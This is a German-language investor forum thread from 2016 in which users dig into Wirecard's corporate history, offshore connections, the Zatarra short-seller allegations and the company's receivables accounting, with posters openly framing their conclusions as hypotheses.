      Societate comercială înregistrată în România care activează în domeniul jocurilor de noroc.
      Afaceri off-shore: Zhapa Holdings Inc. Banca asociată: Wirecard Bank AG din Germania.
      Detalii: Fortuna Gaming SRL are ca asociat majoritar Zhapa Holdings Inc din BVI. Unul dintre asociații Fortuna Gaming a înființat Federația Sportivă Națională de Poker. În decembrie 2009 era deținută de un alt off-shore din BVI, Eyre Creek Limited, Kilworthy Limited și White Tiger Investments PTE Ltd din Singapore. Ca persoane fizice acționari se regăsesc mai mulți cetățeni din Germania, Canada, Filipine, Liban, Taiwan.

      https://www.crji.org/articole.php?id=4217
      na logisch
      Zhapa Holdings, Kilworthy
      uii, die Panamapapers sind wieder erreichbar
      https://offshoreleaks.icij.org/nodes/201857

      oha
      https://offshoreleaks.icij.org/nodes/298098


      Richtigstellung
      Obiger Auszug in rumänischer Sprache wurde dahingehend falsch interpretiert, dass die Offshorefirma "Zhapa Holdings" ein Konto bei der Wirecard hätte. Dem ist nicht so!

      Richtig ist, dass die "Fortuna Gaming SRL" ein Konto bei der Wirecard hatte, wobei unklar ist, woher diese Information stammt.

      "Fortuna Gaming SRL" wurde im Juli 2008 in Rumänien gegründet (23502383; J40/4739/2008 ). Es handelt sich um eine im Bereich "Glücksspiele und Wetten" tätige Firma.

      2008 hat die kanadische Amaya Gaming die "Fortuna Gaming srl" mit 26 Exemplaren ihres "pokerMate" ausgestattet. Hier gibt es noch eine Unklarheit, da angeblich ein erster Pokermate bereits im April 2008 ausgeliefert wurde, da war die Firma womöglich noch nicht im Handelsregister eingetragen

      Im Oktober 2008 wechselte ein IT-Techniker von Amaya zur Fortuna Gaming.
      http://people.bayt.com/hassan-sabrah-24669456/

      welche Bedeutung es hat, dass nach den Informationen der Rumänen die Offshorefirma, die unter der Kontrolle der Amaya stand, zugleich die Kontrolle über den Partner zu haben schien, an den die Waren geliefert wurden, muß die kanadische Börsenaufsicht beurteilen :)
      Avatar
      schrieb am 25.06.16 09:54:45
      Beitrag Nr. 115 ()
      GB Infogenie 2003

      Neben seiner Tätigkeit als Vorstand der InfoGenie Europe AG ist Jochen Hochrein
      zugleich auch als Geschäftsführer der ebs Global GmbH berufen. Hochrein begann
      seinen Werdegang im Bereich Marketing und Sales. Unter anderem war er bei der
      Knight-Ridder Financial Deutschland GmbH, der Bridge GmbH und der Cybernet AG in
      leitenden Positionen tätig. 1999 gründete er die camPoint GmbH, einem Anbieter von
      webbasierten Video-Conferencing-Lösungen. Dort war er als Geschäftsführer und
      später als Vorstand tätig, bis er Ende 2001 ausschied. Als freier Berater war Hochrein
      im Jahr 2002 unter anderem für die InfoGenie Europe AG tätig, bevor er im Januar
      2003 in den Vorstand berufen wurde.

      Cybernet AG

      Hochrein war vor 1999 bei der Cybernet AG? war das, bevor Brigitte Holzer dort tätig war?
      July 1999 – December 2001

      War Andreas Eder da noch Vorstandssprecher bei Cybernet AG? Und wann war er dann im AR der UCA Unternehmer Consult AG München?

      Und hat diese etwa der EBS ihre Infogenieaktien verkauft?

      Wer ist eigentlich diese UCA?
      Avatar
      schrieb am 25.06.16 12:25:42
      Beitrag Nr. 116 ()
      Hoppla. Du verwendest wohl die Targo-Methode: viel reden, Frage nicht beantworten. :cool:
      2 Antworten
      Avatar
      schrieb am 25.06.16 14:15:40
      Beitrag Nr. 117 ()
      Once upon the time in the East
      1998 wurde "Wire Card" erfunden. Es gab bald Venture Capital und Globalisierungspläne

      http://www.ots.at/presseaussendung/OTS_20000904_OTS0120/wire…

      Wire Card, einer der führenden Finanzdienstleister und Full-Service-Provider für ePayment-Lösungen, gründet seine erste Niederlassung in Asien. Bis Mitte September wird das Unternehmen, in Kooperation mit der Pacific Orchid Holding Ltd, sein asiatisches Headquarter in Hongkong eröffnen. Von dort wird Wire Card seine Produkte und Dienstleistungen im stark expandierenden asiatischen Markt direkt vertreiben. Konkrete Schritte für die Erschließung der Märkte Koreas, Chinas und Japans sind in Vorbereitung. Die Präsenz in Hongkong ist ein wichtiger Meilenstein auf dem Weg zum global agierenden Finanzdienstleister. Wire Card hat sich durch diese Entscheidung einen strategischen Vorteil in Hinblick auf die Marktführerschaft im asiatischen Raum geschaffen.
      "Mit cat-street.com (Hongkong) und der Plattform 2bsure.com (Singapur) haben wir bereits erfolgreiche Projekte in diesem Markt initiiert und umgesetzt", berichtet Alexander Böller, Director Sales der Wire Card AG. "Weitere Aufträge für ePayment-Lösungen im b2b-Bereich stehen kurz vor dem Abschluss. Über die Niederlassung in Hongkong nähern wir uns dem Ziel, den gesamten asiatisch-pazifischen Raum mit ePayment-Lösungen zu versorgen."


      Pacific Orchid Holding Ltd
      Alois Paier
      Tel: + 852 946 99822
      Fax: +852 2572 2711
      office@pacific-orchid-holding.com
      801 Bank of America Tower
      12 Harcourt Road
      Central, Hongkong, S.A.R

      Das ist Alois
      http://web.archive.org/web/20000815061517/http://www.cat-str…

      Bereits im Frühjahr diesen Jahres wurden fünf Experten der Solomon Corporation (Taipeh), einem weiteren strategischen Partner, zu Certified Wire Card Engineers ausgebildet. Sie besitzen technische, kaufmännische und juristische Kenntnisse, um die ePayment-Lösungen auch in die komplexesten eCommerce-Plattformen zu integrieren.

      und 2bsure.com
      http://www.zdnet.com/article/2bsure-obtains-s23m-funding/

      das waren zwei startups, die mit dem startup wire card kooperierten, das kurz darauf zusammenklappte

      welche Rolle spielte Alois Paier, in Hong Kong wegen Betrugs verurteilt/angeklagt und in Österreich verdächtigt, Gelder versickert haben zu lassen (Michael TOJNER, NexC)?
      Avatar
      schrieb am 02.07.16 00:04:55
      Beitrag Nr. 118 ()
      Einfaches Einfügen von wallstreetONLINE Charts: So funktionierts.


      wasissendaaaas
      Avatar
      schrieb am 02.07.16 00:07:10
      Beitrag Nr. 119 ()
      Antwort auf Beitrag Nr.: 52.694.383 von Wilmentrudis am 25.06.16 12:25:42
      Zitat von Wilmentrudis: Hoppla. Du verwendest wohl die Targo-Methode: viel reden, Frage nicht beantworten. :cool:
      Das ist hier kein Dialog, sondern... ääähmmm... ääähmmm.... weiß selbst nicht genau. Welche Frage?
      1 Antwort
      Avatar
      schrieb am 02.07.16 01:31:32
      Beitrag Nr. 120 ()
      Antwort auf Beitrag Nr.: 52.747.222 von jigajig am 02.07.16 00:07:10Mach dir nichts draus.
      Heute ist Samstag.
      Alles andere war gestern oder dqvor. :)
      Avatar
      schrieb am 02.07.16 11:18:08
      Beitrag Nr. 121 ()
      hier stehen hauptsächlich Dinge, die so kompliziert sind, dass ich sie noch nicht in brauchbare Form bringen kann. Aber vielleicht liest es jemand, der gerade woanders gräbt. Der kann es vielleicht verbauen.
      Das ist quasi eine große Kiste mit Schnitzeljagdwegweisern :)
      Avatar
      schrieb am 09.07.16 11:15:01
      Beitrag Nr. 122 ()
      unbeantwortet!
      Zitat von DIE_GERECHTIGKEIT:
      Zitat von Snoopy9: Zatarra...es wird langsam albern und langweilig!


      Findest Du? :D

      Ich finde, das wird immer spannender hier. :cool:

      Der User @WIMP hat hier gestern eine interessante Frage aufgeworfen.
      Zitat aus posting

      Eine Firma, die nichts hat, was sie wirklich unter den Wettbewerbern hervorheben würde, kann in einem schwer umkämpften Geschäftsfeld wesentlich höhere Margen generieren als diese Wettbewerber und verzeichnet dennoch kontinuierliche und schier unglaubliche Wachstumsraten.
      Gewöhnlich muss ein außerordentliches Umsatzwachstum mit einem Preisdumping bezahlt werden, d. h., es wird kurzfristig zu Gewinneinbrüchen kommen müssen. Auf wundersame Weise ist das aber hier nicht der Fall. Da fragt man sich doch: Was machen die Konkurrenten falsch, dass sie nur derart mickrige Margen erzielen können?


      Warum wird diese zentrale Frage hier eigentlich nicht diskutiert? :look:

      Der neue Zatarra-Beitrag wirft die Frage auf, ob die Wirecard-Geschäfte gegen den UIGEA (Unlawful Internet Gambling Enforcement Act of 2006) verstossen hat und bringt das mit der Akquisition von Trustpay in Verbindung via Gateway/Nexum. Das finde ich zum Beispiel hochinteressant weil dort die Verbindungen zu Dietmar Knöchelmann u.a. über die Löwenor Verwaltungsgesellschaft mbh offen gelegt werden. Bei Löwenor tauchen übrigens neben Knöchelmann auch die Namen Christine Buchholz und Ralf Buchholz auf.
      http://peoplecheck.de/handelsregister/NW-HRB_14039-594121
      Ralf Buchholz wiederum war von Juli 2006 bis 2010 nicht nur Prokurist bei der Wirecard Payment Solutions Ltd, sondern auch vom 05.07.2006 (zusammen mit John Carbone, Jason Gonsalves und Dietmar Knöchelmann) Prokurist bei der Gateway Payment Solutions Limited in Köln.
      https://www.moneyhouse.de/Wirecard-Payment-Solutions-Limited….

      Was in dem Zatarra -Report nicht erwähnt wird, ist folgendes:



      Was ich merkwürdig finde:

      Sowohl Knöchelmann als auch Buchholz waren bereits 2005 in einer kleinen Verwaltungsgesellschaft aktiv, die Löwenor Verwaltungsgesellschaft mbH

      Die Firma gibt es heute noch:
      http://www.loewenor.de/
      "Finanzen, Management, Investitionen, Firmengründung für Klein- und Mittelstandsunternehmen"
      Sieht aus wie ein kuscheliges Familienunternehmen das ein paar Immos vermietet..

      Und nun schaut man sich im Unternehmensregister mal die Bilanzen an:
      Bilanzgewinn 2008: 10.315.000,00 :eek: :eek:
      Bilanzgewinn 2009: 8.924.836,65
      Zu diesem Zeitpunkt war Knöchelmann noch dabei.
      In der Bilanz für das Jahr 2010 tauchen dann nur noch Christine und Ralf Buchholz auf wobei es dort heisst:

      Zitat aus dem Jahresabschluss der LÖWENOR Verwaltungsgesellschaft mbH, Anhang zum 31. Dezember 2010:

      III. Angaben zur Bilanz

      Gegenüber folgenden Unternehmen besteht im Geschäftsjahr 2010 eine wesentliche Beteiligung:
      Beteiligungshöhe %
      Narect Ltd., Dublin/Irland 12,5
      Blue Folder Holdings Ltd., Dublin/Irland 10,0
      1609576 Ontario Inc., Toronto (vormals: Berkshire Axis Inc.) 12,5
      Berkshire Axis Inc., Toronto (vormals: 2217356 Ontario Inc.) 12,5

      Die in der Bilanz ausgewiesenen Verbindlichkeiten haben sämtlich eine Laufzeit bis zu einem Jahr. Es bestehen Verbindlichkeiten gegenüber Gesellschaftern in Höhe von EUR 779,38 (Vorjahr: EUR 2.504,58), diese betreffen, wie im Vorjahr, sonstige Verbindlichkeiten.

      Der Gewinnvortrag aus dem Vorjahr beträgt TEUR 8.897. Unter Berücksichtigung des Rückkaufs eigener Anteile von TEUR 5.636, der Vorabausschüttung in Höhe von TEUR 1.468 und dem Vortrag des Jahresüberschusses 2010 auf neue Rechnung ergibt sich ein Bilanzgewinn zum 31.12.2010 von TEUR 1.863.


      Quelle: www.unternehmensregister.de

      Ich nehme mal an, dass im Jahr 2010 Kasse gemacht wurde (die Beteiligungen in Irland und Kanada tauchen in der 2011 Bilanz nicht mehr auf), man trennt sich nach erfolgreichen Geschäften und beide Gesellschafter steigen zeitgleich bei Wirecard aus.

      Was ich mich frage ist, wie eine solche "Verwaltungsgesellschaft" auf Bilanzsummen von knapp 9 Mio € kommt zumal die beiden Zeichnungsberechtigten während dieses Zeitraumes beide bei Wirecard beschäftigt waren und vermutlich nur vermindert einsatzfähig? :confused:

      Gruß
      Julia
      Avatar
      schrieb am 09.07.16 11:18:07
      Beitrag Nr. 123 ()
      Braucht dringend ein update
      Zitat von jigajig:
      Zitat von ArminBrack: Hier eine ganz alte Meldung, die zeigt, dass ebs selbst erst 2002 mit Wire Card (damals noch "getrennt" geschrieben) fusioniert hat und welche Firma welchen Bereich eingebracht hat:
      Merge der ebs Electronic Billing Systems AG und Wire Card AG perfekt!
      (press1: iBOT) - Hallbergmoos, 21.01.2002
      Mit Datum 16.Januar 2002 wurde ein sorgfältig geplanter Deal rechtswirksam. Der Merge der ebs Electronic Billing Systems AG und Wire Card AG ist perfekt.

      ?
      23.08.2004
      HRB 150988: ebs Electronic Billing Systems AG Grasbrunn, Landkreis München (Am Bretonischen Ring 4, 85630 Grasbrunn ). Die Verschmelzung wurde am 17.08.2004 in das Register der übernehmenden Gesellschaft eingetragen (siehe Amtsgericht München HRB 142427).

      16.08.2004
      HRB 150988: ebs Electronic Billing Systems AG Grasbrunn, Landkreis München (Am Bretonischen Ring 4, 85630 Grasbrunn ). Die Gesellschaft ist auf Grund des Verschmelzungsvertrages vom 19.04.2004 sowie des Beschlusses ihrer Hauptversammlung vom 19.04.2004 und Beschluss der Hauptversammlung der übernehmenden Gesellschaft vom 19.04.2004 mit der 'Wire Card AG' mit dem Sitz inGrasbrunn (Amtsgericht München HRB 142427) verschmolzen. Die Verschmelzung wird erst wirksam mit der Eintragung der Verschmelzung in das Handelsregister der übernehmenden Gesellschaft.

      was stimmt denn nun?
      Solange in den Pressemeldungen, in Jahresberichten und selbst im Aktienprospekt von 2005 nie ganz klar gesagt wird, was gemeint ist, kann man kaum die Firmen unterscheiden und die Aussagen nachvollziehen. Was Nachprüfbarkeit angeht, schlägt Zatarra die Geschäftsberichte der Wirecard AG (fälschlicherweise oft "Wire Card AG", ehemals "Wire Card AG", fälschlicherweise oft "Wirecard AG", nicht zu verwechseln mit der "Wire Card AG", fälschlicherweise oft "Wirecard AG") um Längen!

      Ich bin übrigens heilfroh, dass ich heute morgen versehentlich einen Beitrag hier nicht abgeschickt habe, denn in diesem Beitrag wären viele Fragen gestanden und erste Antworten angedeutet worden, die sich mit der neuen Veröffentlichung von Zatarra decken (insbesondere zu Inatec/Webtrade). Auf den bei Zatarra erwähnten Link ins Forum Wallstreet-Online bin ich in diesen Tagen beispielsweise auch gestolpert.

      Wie man mit Informationen umgeht, um daraus weitere Informationen zu gewinnen, zeigt der neue Zatarrabericht. Weiterhin bleibe ich bei meinem Statement, dass die Recherche von Zatarra technisch bzw. forensisch hervorragend ist. Da können hier die Leute maulen, wie sie wollen. Über die Schlußfolgerungen kann ich mich nur wundern, aber Zatarra hat ggü. dem ersten Bericht deutlich nachgelegt und mich an manchen Stellen sehr überrascht. Was die noch im Köcher haben, weiß keiner. Mancher ahnt das ein oder andere, dazu zähle ich mich auch :)

      Warburg Research hat übrigens am 10.03. ein Analyse-Update veröffentlicht in dem Reichert explizit auf die Vorwürfe von Zatarra eingeht. Zwar wurden noch nicht alle Vorwürfe geprüft, aber auch die Recherchen von Warburg deuten eher darauf hin, dass die Vorwürfe nicht schwerwiegend sind.

      Völlig zurecht wurde der Warburgbericht von Zatarra heftig kritisiert, aber eine andere Beschäftigung mit Zatarra in deutsch gibt es ja noch nicht. Insofern hat er Pionierarbeit geleistet. Wieso ein langjähriger Kenner der Wirecard auf naheliegende Dinge nicht gekommen oder zumindest nicht darüber gesprochen hat, verstehe ich nicht.
      Auch hier hatte ich heute morgen mehr geschrieben und bin froh, dass es nicht abgeschickt wurde.

      Andere Leute haben sich bisher nicht geäußert. Ernst&Young zum Beispiel, die kannten ja sogar schon die Infogenie. Oder Boris Menzel - oder natürlich Brockhaus Private Equity
      Der Kontakt zur Wirecard wurde durch das Netzwerk von Brockhaus Private Equity hergestellt. Im Oktober 2002 beteiligte sich Brockhaus Private Equity an der Wirecard und begleitete als erster institutioneller Investor die Transformation des Geschäftsmodells zu einem Anbieter vollintegrierter Internet-Payment Services (IPSP), einschließlich der Ausgabe von Kreditkarten unter eigener Bankenlizensierung durch die BaFin.
      Brockhaus Private Equity begleitete den erfolgreichen IPO 2005 und verkaufte in den Jahren 2006 und 2007 seine Aktien an der Wirecard im Rahmen mehrerer Block Trades.

      brockhaus-pe.de

      siehe dazu
      http://www.wallstreet-online.de/diskussion/500-beitraege/986…

      Aus meiner Sicht begann die Börsengeschichte der Wirecard jedoch wesentlich früher, nämlich bereits im März 2002:
      Berlin, 20. März 2002 - Die EBS Mobil GmbH, Hallbergmoos hat mehr als 25 Prozent der Aktien der am Neuen Markt notierten InfoGenie Europe AG (WKN 530990) erworben. Die Aktien stammen von einem der Gründer der InfoGenie Europe AG.

      Auch dies wurde im Forum begleitet:
      http://www.wallstreet-online.de/diskussion/500-beitraege/571…
      25.02.2002
      Seit Tagen wird die Aktie gekauft! Jeden Tag nehmen die Umsätze zu und das ohne jeglichen Grund oder Meldung! Aber, vielleicht sind es Insider die hier laufen. Immerhin sollte von Infogenie in den nächsten Tagen etwas "gewichtiges" positives zu erwarten sein!

      http://www.wallstreet-online.de/diskussion/500-beitraege/570…

      http://www.wallstreet-online.de/diskussion/500-beitraege/556…

      Fake-Email

      Danke, ich kannte den Inhalt nicht, peinlicherweise. Ist in Prüfung.
      ...
      "Vorwürfe korrekt" und "gefährlich werden" sind zwei Dinge. Aber eben auch: "Fakten korrekt", "Schlußfolgerungen korrekt" sind zwei Dinge. Ich sehe noch immer keine Gefahr für die aktuelle Wirecard, wohl aber für beteiligte Personen. Bitte JR noch einmal genau lesen :)
      Im Verbund mit der derzeitigen Erholung am Gesamtmarkt und der dubiosen Fake-Email besteht sind die Chancen auf einen Shortsqueeze nicht schlecht...
      Das sehe ich auch so. Aber:Zatarra ist nur ein Teil des Problems der Wirecard. Die Wirecard wird vielleicht irgendwann sogar froh sein über das ganze Theater, man ist in aller Munde und da 95% der Leute keine Ahnung haben, worum es geht, könnte am Ende hängen bleiben "Wirecard, die arme deutsche Firma, die von bösen Mächten angegriffen wurde". Dieser PR Gewinn wäre unbezahlbar.
      Avatar
      schrieb am 09.07.16 11:19:26
      Beitrag Nr. 124 ()
      wichtig, muss man noch einmal neu bewerten
      Zitat von Rentfort: Reichlich still hier, was die Bewertung der neuen Zatarra-Veröffentlichung angeht.

      Ich versuche einmal einen Anfang:
      Wenn ich das richtig sehe, zitiert Zatarra aus internen Richtlinien der Tiltproof Incorporation (Full Tilt Poker) z.B. bezüglich der Abstimmung der Zahlungen mit Click2Pay. Die Gültigkeit der Richtlinie begann am 04.07.2007. Als Kontaktperson wird Martin Osterloh genannt.

      Was die Aussagen dieser internen Richtlinie angeht, sehe ich nicht den kleinsten Interpretationsspielraum.
      Wirecard (Click2Pay) hat nach Inkrafttreten des Unlawful Internet Gambling Enforcement Act Zahlungen für Full Tilt Poker abgewickelt.

      Auch die interne Richtlinie bezüglich der Deckadrassaten (Payment Precessor Descriptors) der Geldflüsse bietet aus meiner Sicht keinen Interpretationsspielraum.

      Jetzt gibt es zwei Möglichkeiten. Entweder diese internen Richtlinien von Full Tilt Poker sind von Zatarra richtig wiedergegeben, oder sie sind von Zatarra gefälscht.

      Da ich nicht weiß, wie Zatarra an diese Unterlagen gelangt ist, enthalte ich mich für's erste einer Bewertung.
      Avatar
      schrieb am 09.07.16 11:21:09
      Beitrag Nr. 125 ()
      Dieses Argument ist Schmarrn... und ich gehe davon aus, dass dioe BaFin hier nicht mehr ermittelt

      Zitat von Grishnakh76:
      Zitat von schaunmermal11: ja,

      der Hinweis auf einen Interessenkonflikt ist im Rahmen von Analysen vorgesehen.

      Schau Dir mal § 20a WpHG und die dazugehörige Verordnung an.

      Dann hast Du was gelernt:laugh::laugh::laugh:


      Ok gelesen...und nun? Dann zeig mir mal die Punkt, der besagt, dass die Stelle "Es ist verboten,
      1. unrichtige oder irreführende Angaben über Umstände zu machen, die für die Bewertung eines Finanzinstruments erheblich sind..." nicht mehr gilt solange man nur im Disclaimer erwähnt, dass alles auch gelogen sein könnte!
      Avatar
      schrieb am 09.07.16 11:24:14
      Beitrag Nr. 126 ()
      Dieses Argument ist Schmarrn... und ich gehe davon aus, dass dioe BaFin hier nicht mehr ermittelt

      Zitat von Grishnakh76:
      Zitat von schaunmermal11: ja,

      der Hinweis auf einen Interessenkonflikt ist im Rahmen von Analysen vorgesehen.

      Schau Dir mal § 20a WpHG und die dazugehörige Verordnung an.

      Dann hast Du was gelernt:laugh::laugh::laugh:


      Ok gelesen...und nun? Dann zeig mir mal die Punkt, der besagt, dass die Stelle "Es ist verboten,
      1. unrichtige oder irreführende Angaben über Umstände zu machen, die für die Bewertung eines Finanzinstruments erheblich sind..." nicht mehr gilt solange man nur im Disclaimer erwähnt, dass alles auch gelogen sein könnte!


      ---
      Zitat von Rentfort: Mit anderen Worten die Wirecard Bank hat einen Teil ihres Leistungsangebots ausgelagert z.B. an die Wirecard Retail Services wie es Svabo vermutet, bezahlt dafür aber keine angemessene Vergütung, sodaß die Gewinne bei der Wirecard Bank entsprechend höher und bei einer anderen Wirecard Gesellschaft entsprechend niedriger ausfällt.
      Avatar
      schrieb am 09.07.16 11:29:51
      Beitrag Nr. 127 ()
      heiß!
      Zitat von T.Hecht:
      Zitat von schaunmermal11: Was kann dem im schlimmsten Fall passieren?

      Wenn sich wirklich die BaFin und andere "Authorities" mit Wirecard beschäftigen, werden die entweder zu einem positiven oder negativen Ergebnis führen. Auf jeden Fall haben wir dann Klarheit.

      Bis dahin macht auch jedes Kommentieren der Zahlen wenig Sinn, weil wir nie erkennen können, was sich wohinter genau verbirgt.

      Die Bank steht sowieso unter der Aufsicht der BaFin. Ich für meinen Teil kann mir kaum vorstellen, dass es AKTUELL möglich wäre, denen irgendeinen Mist zu erzählen.

      Weiß denn jemand, wie man rausbekommen kann, ob die BaFin sich tatsächlich mit Wirecard außerplanmäßig beschäftigt. Wenn nicht, wüsste man, dass die Zatarra Jungs definitiv Müll erzählen.


      Das Kommentieren von Zahlen stellt nichts anderes dar als eine mit Argumenten unterfütterte Diskussion.
      Klarheit, durch wen auch immer geschaffen, bringt die Spekulanten hoffentlich ihrem Spekulationsergebnis näher.
      Dass die WCBank unter Aufsicht der BaFin steht, heißt nicht, dass dort alles mit rechten Dingen zugehen muss, es erhöht eventuell die Wahrscheinlichkeit. Ich persönlich gehe davon aus, dass die WC Bank relativ sauber ist. Darum ist ja auch ihr Einzel-Abschluss im Zusammenhang mit der Konzernbilanz interessant.
      Avatar
      schrieb am 09.07.16 11:32:05
      Beitrag Nr. 128 ()
      Zitat von RealJoker: Was soll das? Ich sehe bei Wirecard nach wie vor eine exzellente Gelegenheit, bin aber dennoch draußen, weil ich auf einen schnellen Rebound gesetzt hatte, der nun mal nicht eingetreten ist.

      Den Rebound gab´s doch längst. Von 32,xx € auf ca. 39 € . Mehr konnte man angesichts der Intransparenz des Unternehmens nicht erwarten.


      da hängt sie nun!
      Avatar
      schrieb am 09.07.16 11:35:58
      Beitrag Nr. 129 ()
      Rentforts Medaillen

      Zitat von Rentfort: Viel interessanter in diesem Zusammenhang finde ich Dan Mc Crum‘s Beiträge „Wirecard: adjust your perspective 1 + 2“ und „Wirecard, a rolling processor gathers no loss“ vom Sommer letzten Jahres. Hierin hat Dan Mc Crum die Zahlungsflüsse bei Wirecard wie zwei Seiten einer Medaille betrachtet.

      Die Artikel haben mich erst auf die Idee gebracht, mich soweit Zahlen verfügbar sind, mit den Zahlungsflüssen auseinanderzusetzten.

      Ich habe für mich irgendwann die Hypothese aufgestellt, dass die Zahlungsflüsse bei Wirecard nicht wie zwei Seiten einer Medaille zu betrachten sind, sondern wie zwei Seiten von zwei Medaillen und geschaut, wie weit ich damit komme.

      Das Acquiring Geschäft ist die eine Medaille, das Payment Processing Geschäft die andere Medaille.
      Hierbei ist es erforderlich die beiden verschiedenen Geschäftsmodelle Acquiring und Payment Processing strikt getrennt zu betrachten. Ausschließlich die Wirecard Bank betreibt das Acquiring. Das Payment Processing betreiben insbesondere die Wirecard Technologies GmbH, Wirecard Payment Solutions (Holdings) Ltd. und die Card Systems Middel East FZ-LLC.

      Acquring
      Die Zahlungsflüsse im Acquiring (unabhängig davon, ob es sich um stationäres oder Online-Geschäft handelt) laufen wie folgt: Ein Endkunde kauft bei einem Händler oder einem Dienstleister (dem Kunden des Acquirers) eine Ware oder Dienstleistung und bezahlt mit Kreditkarte.

      Die Zahlung läuft dann vom Issuer über die Kreditkartenfirmen zum Aquirer. Mit dem Zahlungsavis des Kreditkartenunternehmens entsteht beim Acqurier eine Forderung gegenüber dem Kreditkartenunternehmen und gleichzeitig eine Verbindlichkeit gegenüber dem Händler. Mit dem Zahlungseingang beim Acquirer verschwindet die Forderung gegenüber dem Kreditkartenunternehmen.

      Was aber passiert jetzt mit der Verbindlichkeit gegenüber dem Händler. Zahlt der Acquirer das Geld auf ein Konto einer anderen Bank des Kunden aus, ist das Geld abgeflossen und die Verbindlichkeit getilgt. Lässt der Kunde das Geld aber stehen, ist es dann immer noch eine Verbindlichkeit aus Lieferungen und Leistungen oder ist es dann bereits eine Kundeneinlage geworden?

      Ich würde sagen, es ist sofort eine Kundeneinlage geworden. Ist man hier in der Abgrenzung etwas großzügiger, können sehr schnell große Beträge als Verbindlichkeiten aus LuL stehen bleiben, die in Wirklichkeit Kundeneinlagen sind.
      Dies erklärt für mich die riesige Differenz zwischen Forderungen und Verbindlichkeiten aus dem Acquringgeschäft.

      Payment Processing
      Im Payment Processing ist Wirecard Dienstleister für alle Zahlungs- und Buchungsvorgänge im Zusammenhang mit Zahlungen für einen Kunden, der ein Onlinegeschäft betreibt. Hierbei ist die Kreditkartenzahlung nur eine von mehreren Zahlungsmöglichkeiten, die das Onlinegeschäft abwickelt.

      Nun gibt es aber einen gewaltigen Unterschied zwischen dem Acquring und dem Payment Processing. Beim Aquiring laufen die Zahlungen durch die Bücher des Acquirers, beim Payment Processing laufen die Zahlungen nicht über die Bücher des Dienstleisters sondern bleiben auf den Konten des Kunden. Sollen die Zahlungen über die Bücher des Payment Service Providers laufen, benötigt dieser eine Erlaubnis der Bundesanstalt für Finanzdienstleistungsaufsicht nach ZAG.
      Große Anbieter wie z.B. die Novalnet AG oder die Heidelpay GmbH haben eine solche Erlaubnis und werben auch damit. In der Onlinedatenbank der Bafin sind alle Unternehmen, die eine solche Erlaubnis haben, aufgeführt. Nach meiner intensiven Recherche hat kein deutsches Tochterunternehmen des Wirecard Konzerns eine solche Erlaubnis.

      Dies sollte ausschließen, dass deutsche Unternehmen des Wirecard Konzerns überhaupt Forderungen und Verbindlichkeiten haben, die durchlaufenden Charakters sind.

      Für die Wirecard Payment Solutions (Holdings) Ltd. sollten ähnliche Regelungen gelten, hier bin ich mit meinen Recherchen aber nicht sehr weit gekommen.

      Verbleibt die Card Systems Middle East FZ-LLC in Dubai. Diese Gesellschaft hatte in den zurückliegenden Jahren trotz riesiger Gewinne einen enormen Kapitalbedarf.

      „a rolling processor gathers no loss” ich füge hinzu “in cash”?!

      Wie entstehen aber nun die Forderungen?
      Gehen die Zahlungen nicht durch die Bücher des Payment Service Providers entstehen lediglich Forderungen in Höhe des Provisionsanspruchs. Durchlaufende Posten bestehen nicht.

      Laufen die Zahlungen durch die Bücher des Providers und kauft ein Kunde des Onlinegeschäfts eine Ware oder Dienstleistung entsteht eine Forderung des Onlinegeschäfts, die in den Büchern des Payment Service Providers auch als Forderung ausgewiesen wird. Gleichzeitig entsteht aber auch eine Verbindlichkeit gegenüber dem Onlinegeschäft. Da der Payment Service Provider eine kleine Marge behalten darf, ist die Verbindlichkeit etwas kleiner als die Forderung. Forderungen und Verbindlichkeiten haben bis auf die Marge für den Provider durchlaufenden Charakter. Soweit für jeden nachvollziehbar.

      Nun mögen in der Tat stichtagsbezogen zwischen Forderungen und Verbindlichkeiten Differenzen entstehen, dass aber wie 2013 Forderungen von € 236,3 m Verbindlichkeiten von lediglich € 16,4 m gegenüberstehen sollen, ist kaum zu erklären.

      Die einzige Erklärung lautet: Ich habe meine Kunden bezahlt und warte nun darauf, dass die Kunden meines Kunden mich bezahlen. Sind diese Forderungen möglicherweise uneinbringlich?

      Ich habe viel Gefallen an der Hypothese gefunden, dass zwei Seiten von zwei Medaillen zu betrachten sind, bisher aber nur die oben liegenden Seiten diskutiert werden und die verdeckten Seiten einfach übersehen wurden.

      Die Zeit wird zeigen, ob sich meine Hypothese mit der Realität deckt.

      Fazit:

      Die unverhältnismäßig hohen Verbindlichkeiten aus Lieferungen und Leistungen im Acquiring entstehen dadurch, dass die Verbindlichkeiten im Zeitpunkt des Geldeingangs von den Kreditkartenfirmen nicht sofort zu Sichteinlagen umdeklariert werden. Wenn diese Betrachtung richtig ist, müssten aus dem operativen Cash flow der letzten Jahre € 200 m herausgestrichen werden.

      Die extrem unverhältnismäßig hohen Forderungen aus LuL im Payment Processing entstehen dadurch, dass Kunden sofort bezahlt werden und anschließend auf das Geld der Kunden des Kunden gewartet wird. Äußerst ungewöhnlich!
      Avatar
      schrieb am 09.07.16 11:40:07
      Beitrag Nr. 130 ()
      Ashazi

      Zitat von ValueAG: Gegen das Aquiring-Geschäftsmodell hab ich nichts negatives. Es übernimmt Transaktions-Risiken und wird dafür gut bezahlt.
      Verstehe dein Bedenken nicht.

      PP&RM ist denke ich problematisch. Diese Forderungen werden, wie du aufgezeigt hast mit neuen Eigenkapital gedeckt. Beispiel Ashazi zeigt auf das die Forderungen auch länger bestehen können.
      Wann steigen die Wertberichtigungen an?
      Gleichzeitig steht PP&RM für den Großteil der Umsätze und Gewinne, bei gleichzeitig auf Konzernebene warscheinlich schwachen FCF.
      Gibt es hier noch mehr potenzielle Kunden wie Ashazi.....?

      Ich bin mir nicht sicher ob fnanzielle Mittal aus Aquiring auch für PP&RM verwendet können.
      Avatar
      schrieb am 09.07.16 11:42:25
      Beitrag Nr. 131 ()
      wichtig!!! siehe schürmann. Das wirkliche Problem?
      Zitat von ArminBrack: Gut, man könnte natürlich umgekehrt auch argumentieren, dass Wirecard gezwungen ist nach Asien/Mittlerer Osten auszuweichen, weil das Geschäft in Europa/USA mehr und mehr von Visa und Mastercard direkt gemacht wird (nachdem diese die Wirecard-Konkurrenten gekauft haben). Und in der Folge könnte es sein, dass Wirecard - um der möglichst schnellen Expansion willen - zu hohe Risiken eingeht und bei Übernahmen "überzahlt", wie bspw. bei Ashazi - und daraus dann auch uneinbringliche Forderungen und letztlich Wertberichtigungsbedarf entstanden ist...
      Haben das vielleicht auch Mastercard und Visa so gesehen und wollten deshalb Wirecard gar nicht kaufen?
